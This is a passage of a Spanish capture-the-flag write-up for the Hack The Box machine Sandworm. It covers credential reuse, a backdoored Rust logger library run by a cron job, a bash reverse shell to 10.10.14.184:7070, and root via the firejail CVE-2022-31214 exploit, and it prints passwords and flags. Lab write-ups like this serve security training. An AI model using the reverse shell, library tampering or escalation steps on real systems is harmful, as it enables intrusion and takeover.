    now = datetime.now().strftime("%m/%d/%Y-%H;%M;%S")
    with open("SSA/submissions/log", "a") as f:
        f.write(f"{ip}:{fname}:{now}\n")
    with open(f"SSA/submissions/{fname}", "w") as f:
        f.write(msg)

Destacamos la ruta process_form la cual hace uso de render_template_string vulnerable a SSTI.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@main.route("/process", methods=("POST",))
def process_form():
    signed = request.form['signed_text']
    pubkey = request.form['public_key']

    if signed and pubkey:
        import_result = gpg.import_keys(pubkey)
        if import_result.count == 0:
            msg = "Key import failed. Make sure your key is properly formatted."
        else:
            fp = import_result.fingerprints
            verified = gpg.verify(signed)
            if verified.status == 'signature valid':
                msg = f"Signature is valid!\n\n{verified.stderr}"
            else:
                msg = "Make sure your signed message is properly formatted."
            # Cleanup - delete key
            gpg.delete_keys(fp)

    return render_template_string(msg)

Luego de explorar los diferentes directorios encontramos credenciales para el usuario silentobserver el cual esta registrado en la maquina. Segun el archivo parecen ser credenciales para el sitio tambien.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
atlas@sandworm:~$ cat .config/httpie/sessions/localhost_5000/admin.json
cat .config/httpie/sessions/localhost_5000/admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}
atlas@sandworm:~$

Shell

Utilizamos estas credenciales por SSH logrando acceder y obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 π ~/htb/sandworm ❯ ssh silentobserver@ssa.htb # quietLiketheWind22
silentobserver@ssa.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jun 18 02:22:01 AM UTC 2023

  System load:  0.029296875        Processes:             231
  Usage of /:   91.8% of 11.65GB   Users logged in:       0
  Memory usage: 19%                IPv4 address for eth0: 10.10.11.218
  Swap usage:   0%

  => / is using 91.8% of 11.65GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jun 17 21:11:40 2023 from 10.10.14.184
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
silentobserver@sandworm:~$ ls
user.txt
silentobserver@sandworm:~$ cat user.txt
9bfb61b2264751a251a2d2b44fad24e0
silentobserver@sandworm:~$

Al ingresar enumeramos los ficheros con permisos SUID, vemos que existen tres los cuales son propiedad de Atlas, ademas observamos firejail y un proceso ejecutado por atlas que seguramente es por donde logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
silentobserver@sandworm:~$ find / -perm -4000 2>/dev/null | xargs ls -lah
-rwsrwxr-x 1 atlas atlas       54M May  4 18:06 /opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
-rwsrwxr-x 2 atlas atlas       57M Jun  6 10:00 /opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
-rwsrwxr-x 2 atlas atlas       57M Jun  6 10:00 /opt/tipnet/target/debug/tipnet
-rwsr-xr-x 1 root  root        72K Nov 24  2022 /usr/bin/chfn
-rwsr-xr-x 1 root  root        44K Nov 24  2022 /usr/bin/chsh
-rwsr-xr-x 1 root  root        35K Mar 23  2022 /usr/bin/fusermount3
-rwsr-xr-x 1 root  root        71K Nov 24  2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root  root        47K Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root  root        40K Nov 24  2022 /usr/bin/newgrp
-rwsr-xr-x 1 root  root        59K Nov 24  2022 /usr/bin/passwd
-rwsr-xr-x 1 root  root        55K Feb 21  2022 /usr/bin/su
-rwsr-xr-x 1 root  root       227K Apr  3 18:00 /usr/bin/sudo
-rwsr-xr-x 1 root  root        35K Feb 21  2022 /usr/bin/umount
-rwsr-xr-- 1 root  messagebus  35K Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root  root        19K Feb 26  2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root  root       331K Nov 23  2022 /usr/lib/openssh/ssh-keysign
-rwsr-x--- 1 root  jailer     1.7M Nov 29  2022 /usr/local/bin/firejail
silentobserver@sandworm:~$
silentobserver@sandworm:~$ ps -ef | grep firejail
atlas       1201       1  0 04:18 ?        00:00:00 /usr/local/bin/firejail --profile=webapp flask run
atlas       1223    1201  0 04:18 ?        00:00:00 /usr/local/bin/firejail --profile=webapp flask run
silento+   70056   39638  0 04:28 pts/2    00:00:00 grep --color=auto firejail
silentobserver@sandworm:~$

Observando los cronjobs en ejecucion con pspy, se muestra uno interesante, la ejecucion de cargo dentro del directorio /opt/tipnet el cual ejecutaria el proyecto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
2023/06/18 04:36:11 CMD: UID=0     PID=152651 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/18 04:36:11 CMD: UID=0     PID=152652 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/18 04:36:11 CMD: UID=0     PID=152653 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/18 04:36:11 CMD: UID=0     PID=152654 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/18 04:38:01 CMD: UID=0     PID=152660 | /usr/sbin/CRON -f -P
2023/06/18 04:38:01 CMD: UID=0     PID=152659 | /usr/sbin/CRON -f -P
2023/06/18 04:38:01 CMD: UID=0     PID=152663 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/18 04:38:01 CMD: UID=0     PID=152662 | /bin/echo e
2023/06/18 04:38:01 CMD: UID=0     PID=152661 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/18 04:38:01 CMD: UID=0     PID=152664 | /usr/sbin/CRON -f -P
2023/06/18 04:38:01 CMD: UID=0     PID=152665 | sleep 10

Encontramos que en /opt existen dos carpetas, crates/ cuyo contenido parece ser la libreria logger propia y editable por el usuario siletobserver.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
silentobserver@sandworm:/opt$ ls -lah
total 16K
drwxr-xr-x  4 root root  4.0K Jun 18 02:34 .
drwxr-xr-x 19 root root  4.0K Jun  7 13:53 ..
drwxr-xr-x  3 root atlas 4.0K May  4 17:26 crates
drwxr-xr-x  5 root atlas 4.0K Jun  6 11:49 tipnet
silentobserver@sandworm:/opt$ ls -lah crates/logger/
Cargo.lock  Cargo.toml  .git/       .gitignore  src/        target/
silentobserver@sandworm:/opt$ ls -lah crates/logger/src/lib.rs
-rw-rw-r-- 1 atlas silentobserver 732 May  4 17:12 crates/logger/src/lib.rs
silentobserver@sandworm:/opt$ cat crates/logger/src/lib.rs
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}
silentobserver@sandworm:/opt$

Y, en tipnet/ observamos una libreria/proyecto que permite la busqueda de informacion en una base de datos MySQL. En el codigo se muestra el uso de logger la libreria a la cual tenemos acceso.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
silentobserver@sandworm:/opt$ ls -lah tipnet/
access.log  Cargo.lock  Cargo.toml  .git/       .gitignore  src/        target/
silentobserver@sandworm:/opt$ cat tipnet/src/main.rs
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,
}

fn main() {
    println!("
             ,,
MMP\"\"MM\"\"YMM db          `7MN.   `7MF'         mm
P'   MM   `7               MMN.    M           MM
     MM    `7MM `7MMpdMAo. M YMb   M  .gP\"Ya mmMMmm
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM
     MM      MM   MM    M8 M   `MM.M 8M\"\"\"\"\"\"  MM
     MM      MM   MM   ,AP M     YMM YM.    ,  MM
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo
                  MM
                .JMML.

");


    let mode = get_mode();

    if mode == "" {
	    return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();


    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" {
        println!("[-] No keywords selected.\n\n[-] Quitting...\n");
        return;
    }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username
    let output = Command::new("/usr/bin/whoami")
        .output()
        .expect("nobody");

    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }

    logger::log(username, keywords.as_str().trim(), justification.as_str());

    search_sigint(&mut conn, keywords.as_str().trim());

}

fn get_mode() -> String {

	let valid = false;
	let mut mode = String::new();

	while ! valid {
		mode.clear();

		println!("Select mode of usage:");
		print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");

		io::stdin().read_line(&mut mode).unwrap();

		match mode.trim() {
			"a" => {
			      println!("\n[+] Upstream selected");
			      return "upstream".to_string();
			}
			"b" => {
			      println!("\n[+] Muscular selected");
			      return "regular".to_string();
			}
			"c" => {
			      println!("\n[+] Tempora selected");
			      return "emperor".to_string();
			}
			"d" => {
				println!("\n[+] PRISM selected");
				return "square".to_string();
			}
			"e" => {
				println!("\n[!] Refreshing indeces!");
				return "pull".to_string();
			}
			"q" | "Q" => {
				println!("\n[-] Quitting");
				return "".to_string();
			}
			_ => {
				println!("\n[!] Invalid mode: {}", mode);
			}
		}
	}
	return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
    let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
    let pool = Pool::new(url).unwrap();
    let mut conn = pool.get_conn().unwrap();
    return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
    let keywords: Vec<&str> = keywords.split(" ").collect();
    let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

    for (i, keyword) in keywords.iter().enumerate() {
        if i > 0 {
            query.push_str("OR ");
        }
        query.push_str(&format!("data LIKE '%{}%' ", keyword));
    }
    let selected_entries = conn.query_map(
        query,
        |(timestamp, target, source, data)| {
            Entry { timestamp, target, source, data }
        },
        ).expect("Query failed.");
    for e in selected_entries {
        println!("[{}] {} ===> {} | {}",
                 e.timestamp, e.source, e.target, e.data);
    }
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
    let paths = fs::read_dir(directory)
        .unwrap()
        .filter_map(|entry| entry.ok())
        .filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
        .map(|entry| entry.path());

    let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
        .unwrap();
    let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
        .unwrap();

    let now = Utc::now();

    for path in paths {
        let contents = fs::read_to_string(path).unwrap();
        let hash = Sha256::digest(contents.as_bytes());
        let hash_hex = hex::encode(hash);

        let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
        if existing_entry.is_none() {
            let date = now.format("%Y-%m-%d").to_string();
            println!("[+] {}\n", contents);
            conn.exec_drop(&stmt_insert, params! {
                "timestamp" => date,
                "data" => contents,
                "hash" => &hash_hex,
                },
                ).unwrap();
        }
    }
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");

}

silentobserver@sandworm:/opt$

User - Atlas

Agregamos codigo dentro del archivo lib.rs de logger/, para le ejecucion del archivo /dev/shm/ex el cual contiene una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let output = Command::new("/dev/shm/ex").output().expect("nobody");

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

El archivo contiene lo siguiente y al que tambien le dimos permisos de ejecucion chmod +x /dev/shm/ex.

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.184/7070 0>&1

Shell

Esperamos unos segundos a la ejecucion del archivo, logrando obtener una shell como Atlas, esta vez sin limites.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/sandworm ❯ rlwrap nc -lvp 7070
listening on [any] 7070 ...
connect to [10.10.14.184] from ssa.htb [10.10.11.218] 52048
bash: cannot set terminal process group (104503): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ whoami;id;pwd
whoami;id;pwd
atlas
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
/opt/tipnet
atlas@sandworm:/opt/tipnet$

Generamos una clave SSH para el usuario silentobserver y utilizando la shell de atlas agregamos esta en el archivo authorized_keys.

1
2
atlas@sandworm:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAA[.. ]3ieyV108UmUK8+ZeL2IiQB8uOxI/z0E3vs6b6c7gKZtoHxU= silentobserver@sandworm" > .ssh/authorized_keys
atlas@sandworm:~$

Logrando asi obtener una shell mas comoda.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
silentobserver@sandworm:/dev/shm$ ssh atlas@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.

[...]

atlas@sandworm:~$ whoami;id
atlas
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:~$

Privesc

Como sabemos unicamente el grupo jailer tiene permitido la ejecucion de firejail al cual Atlas pertenece. Si observamos la version es 0.9.68 la cual el sitio web de firejail marca como vulnerable mostrando el CVE-2022-31214.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
atlas@sandworm:~/.config/firejail$ firejail --version
firejail --version
firejail version 0.9.68

Compile time support:
    - always force nonewprivs support is disabled
    - AppArmor support is disabled
    - AppImage support is enabled
    - chroot support is enabled
    - D-BUS proxy support is enabled
    - file transfer support is enabled
    - firetunnel support is enabled
    - networking support is enabled
    - output logging is enabled
    - overlayfs support is disabled
    - private-home support is enabled
    - private-cache and tmpfs as user enabled
    - SELinux support is disabled
    - user namespace support is enabled
    - X11 sandboxing support is enabled

atlas@sandworm:~/.config/firejail$

El CVE permite escalar privilegios y en el reporte existe un PoC.

Tras ejecutar el exploit nos muestra el pid del sandbox al cual podemos ingresar.

1
2
atlas@sandworm:/dev/shm$ ./f.py
You can now run 'firejail --join=222439' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

Tras ingresar a este unicamente ejecutamos su - logrando obtener una shell como root y la flag root.txt.

1
2
3
4
5
6
7
8
9
atlas@sandworm:~$ firejail --join=222439
changing root to /proc/222439/root
Warning: cleaning all supplementary groups
Child process initialized in 12.92 ms
atlas@sandworm:~$ /proc/222439/root/bin/su -
root@sandworm:~#
root@sandworm:~# cat /root/root.txt
41e023645189f049b8a332c9d3741e22
root@sandworm:~# 
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe